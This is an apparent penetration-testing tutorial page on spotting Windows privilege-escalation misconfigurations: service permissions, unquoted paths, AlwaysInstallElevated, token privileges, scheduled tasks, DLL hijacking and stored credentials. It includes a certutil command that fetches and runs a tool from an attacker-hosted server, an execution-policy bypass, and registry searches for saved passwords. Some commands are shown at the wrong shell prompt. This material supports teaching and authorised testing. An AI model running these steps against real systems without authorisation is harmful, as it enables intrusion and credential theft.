Skip to content
HackIndex logo

HackIndex

Windows Privilege Escalation Vulnerability Discovery

7 min read Jul 10, 2026

This page focuses on confirming specific misconfigurations before exploiting them. Run these checks from a low-privileged shell — a standard user or service account. The goal is to prove what is exploitable, not to use it yet.

Automated Enumeration

Run an automated tool first to surface everything quickly, then manually confirm high-confidence findings.

winPEAS is the most comprehensive Windows privilege escalation scanner. Run it and redirect output to a file — the terminal output is too fast to read:

On Kali: /usr/share/peass/winpeas/winPEASx64.exe

┌──(kali㉿kali)-[~]
└─$ # Serve winPEAS from attacker
┌──(kali㉿kali)-[~]
└─$ python3 -m http.server 8080
C:\Users\Guest\Desktop> # Download and run on target
C:\Users\Guest\Desktop> certutil -urlcache -split -f http://$LHOST:8080/winPEASx64.exe C:\Windows\Temp\wp.exe
C:\Users\Guest\Desktop> C:\Windows\Temp\wp.exe > C:\Windows\Temp\wp_out.txt 2>&1
C:\Users\Guest\Desktop> type C:\Windows\Temp\wp_out.txt

winPEAS writes color codes to console — redirect with > file.txt to read cleanly. Focus on the red and yellow findings.

PowerUp (PowerSploit) performs checks specifically for service, registry, and path misconfigurations that lead to SYSTEM:

On Kali: /usr/share/windows-resources/powersploit/Privesc/PowerUp.ps1

PS C:\Users\Guest\Desktop> powershell -ep bypass -c "Import-Module C:\Windows\Temp\PowerUp.ps1; Invoke-AllChecks"

Weak Service Permissions

A service running as SYSTEM that a low-privileged user can reconfigure or whose binary they can overwrite is a direct path to privilege escalation.

Check service binary permissions — can you write to the executable the service runs?

PS C:\Users\Guest\Desktop> # Get all service binary paths and check write access
PS C:\Users\Guest\Desktop> Get-WmiObject Win32_Service | Select-Object Name, StartName, PathName | Where-Object { $_.PathName -notlike "*system32*" }

Use accesschk from Sysinternals to verify actual ACLs:

C:\Users\Guest\Desktop> accesschk.exe -uwcqv "Authenticated Users" * /accepteula
C:\Users\Guest\Desktop> accesschk.exe -uwcqv "Everyone" * /accepteula
C:\Users\Guest\Desktop> accesschk.exe -uwcqv $USER * /accepteula

SERVICE_ALL_ACCESS or SERVICE_CHANGE_CONFIG returned for a service your user owns = exploitable. Cross-check the service account — if it runs as LocalSystem or a privileged account, that service is the target.

Check service binary file ACLs directly:

C:\Users\Guest\Desktop> icacls "C:\Program Files\SomeService\service.exe"

(F) (Full) or (W) (Write) for BUILTIN\Users, Everyone, or your user on a service binary running as SYSTEM = binary replacement attack.

Unquoted Service Paths

When a service ImagePath contains spaces and is not quoted, Windows tries each space-delimited prefix as an executable. If you can write to any of those paths, you can place a binary there.

C:\Users\Guest\Desktop> wmic service get Name,DisplayName,PathName,StartMode | findstr /i /v "c:\windows\\" | findstr /i /v """

Or with PowerShell:

PS C:\Users\Guest\Desktop> Get-WmiObject Win32_Service | Where-Object { $_.PathName -notlike '"*' -and $_.PathName -notlike 'C:\Windows\*' -and $_.PathName -like '* *' } | Select-Object Name, StartName, PathName

For a path like C:\Program Files\My App\service.exe, Windows tries:

  • C:\Program.exe

  • C:\Program Files\My.exe

  • C:\Program Files\My App\service.exe

If you can write to C:\Program Files\My App\, place a My.exe there. Confirm write access first:

C:\Users\Guest\Desktop> icacls "C:\Program Files\My App"

AlwaysInstallElevated

If both the HKLM and HKCU AlwaysInstallElevated keys are set to 1, any .msi package runs with SYSTEM privileges — regardless of who executes it.

C:\Users\Guest\Desktop> reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
C:\Users\Guest\Desktop> reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Both must return 0x1 for the vulnerability to be present. If only one is set, it does not apply.

PS C:\Users\Guest\Desktop> # PowerShell equivalent
PS C:\Users\Guest\Desktop> (Get-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows\Installer" -ErrorAction SilentlyContinue).AlwaysInstallElevated
PS C:\Users\Guest\Desktop> (Get-ItemProperty "HKCU:\SOFTWARE\Policies\Microsoft\Windows\Installer" -ErrorAction SilentlyContinue).AlwaysInstallElevated

Both returning 1 = generate a malicious MSI with msfvenom and execute it as a low-privileged user to get SYSTEM. See AlwaysInstallElevated exploitation.

Token Privileges

High-value token privileges on your current session can lead to SYSTEM even without other misconfigs. Check which privileges your token holds:

C:\Users\Guest\Desktop> whoami /priv
PS C:\Users\Guest\Desktop> # PowerShell equivalent
PS C:\Users\Guest\Desktop> [System.Security.Principal.WindowsIdentity]::GetCurrent().Groups
PS C:\Users\Guest\Desktop> whoami /priv

Exploitable privileges:

Privilege

Attack

SeImpersonatePrivilege

Potato attacks (GodPotato, PrintSpoofer)

SeAssignPrimaryTokenPrivilege

Same as SeImpersonatePrivilege

SeBackupPrivilege

Read any file including SAM/NTDS.dit

SeRestorePrivilege

Write any file, DLL hijack into SYSTEM paths

SeDebugPrivilege

Dump LSASS memory, inject into SYSTEM processes

SeTakeOwnershipPrivilege

Take ownership of any file or registry key

SeLoadDriverPrivilege

Load a malicious driver

SeImpersonatePrivilege is the most common high-value finding. It is granted by default to IIS AppPool accounts, SQL Server service accounts, and many other service identities.

See the exploitation pages: Token Impersonation and SeImpersonatePrivilege, SeBackupPrivilege Abuse.

UAC Status

UAC controls whether privileged operations require an elevation prompt. If UAC is enabled but misconfigured, a standard user process can auto-elevate without prompting. Check current UAC configuration:

C:\Users\Guest\Desktop> reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA
C:\Users\Guest\Desktop> reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin
  • EnableLUA = 0 — UAC completely disabled. Any process runs as admin without prompting.

  • ConsentPromptBehaviorAdmin = 0 — Elevation happens silently for admin accounts.

  • ConsentPromptBehaviorAdmin = 5 — Default: prompt on secure desktop.

Also check if you are already in the local Administrators group but running as a medium-integrity token:

C:\Users\Guest\Desktop> whoami /groups | findstr "S-1-5-32-544"

If that SID appears with Group used for deny only, you have admin group membership but a filtered token — a UAC bypass can elevate you to high integrity. See UAC Bypass.

Writable PATH Directories

If a directory writable by your user appears early in the %PATH%, placing an executable there that shadows a system binary is a privilege escalation path when a privileged process calls that binary without a full path.

C:\Users\Guest\Desktop> echo %PATH%

Check write access on each directory:

C:\Users\Guest\Desktop> icacls "C:\Python27"
C:\Users\Guest\Desktop> icacls "C:\Tools"

If any PATH entry allows user writes and a scheduled task or service runs with an unqualified command (e.g. python script.py without full path), you can replace python.exe in that directory.

Weak Registry Permissions on Service Keys

Service configuration is stored in the registry. If you can write to a service's registry key, you can change its binary path.

C:\Users\Guest\Desktop> accesschk.exe -uvwqk HKLM\System\CurrentControlSet\Services /accepteula

Or with PowerShell:

PS C:\Users\Guest\Desktop> Get-Acl "HKLM:\System\CurrentControlSet\Services\VulnService" | Format-List

FullControl or SetValue for a non-admin user on a service key that runs as SYSTEM = change the ImagePath to your payload.

Scheduled Tasks

Scheduled tasks running as SYSTEM or a privileged account with a writable binary or script are escalation paths.

C:\Users\Guest\Desktop> schtasks /query /fo LIST /v | findstr /i "task\|run as\|status\|command"
PS C:\Users\Guest\Desktop> Get-ScheduledTask | Where-Object { $_.Principal.RunLevel -eq "Highest" } | Select-Object TaskName, TaskPath, @{n="Command";e={$_.Actions.Execute}}

For each high-privilege task, check if you can write to the binary or script it executes:

C:\Users\Guest\Desktop> icacls "C:\path\to\task\binary.exe"

DLL Search Order Hijacking

Processes that load DLLs without a full path search directories in a predictable order. If the application directory or another early search path is writable by your user, place a malicious DLL there.

Check for missing DLLs loaded by running processes using Process Monitor (Sysinternals) on a Windows lab host. In the field, check application directories for write access:

┌──(kali㉿kali)-[~]
└─$ icacls "C:\Program Files\SomeApp"

If writable, check what DLLs the application loads by examining imports:

┌──(kali㉿kali)-[~]
└─$ # List DLLs loaded by a process
┌──(kali㉿kali)-[~]
└─$ $proc = Get-Process -Name SomeApp
┌──(kali㉿kali)-[~]
└─$ $proc.Modules | Select-Object ModuleName, FileName

DLL hijacking requires restarting the service or application — confirm you have a way to trigger a restart before placing the DLL.

See Windows DLL Hijacking.

Stored Credentials

Saved credentials in the Windows Credential Manager, unattend files, and registry can give you plaintext passwords for privileged accounts without any exploitation.

C:\Users\Guest\Desktop> cmdkey /list
PS C:\Users\Guest\Desktop> # Search common credential locations
PS C:\Users\Guest\Desktop> reg query HKLM /f password /t REG_SZ /s
PS C:\Users\Guest\Desktop> reg query HKCU /f password /t REG_SZ /s
 
PS C:\Users\Guest\Desktop> # Unattend files
PS C:\Users\Guest\Desktop> dir /s /b C:\sysprep.inf C:\sysprep\sysprep.xml C:\Windows\Panther\Unattend.xml C:\Windows\system32\sysprep\unattend.xml 2>nul

Plaintext credentials in any of these = direct privilege escalation via runas or Impacket tools. See Stored Credential Abuse.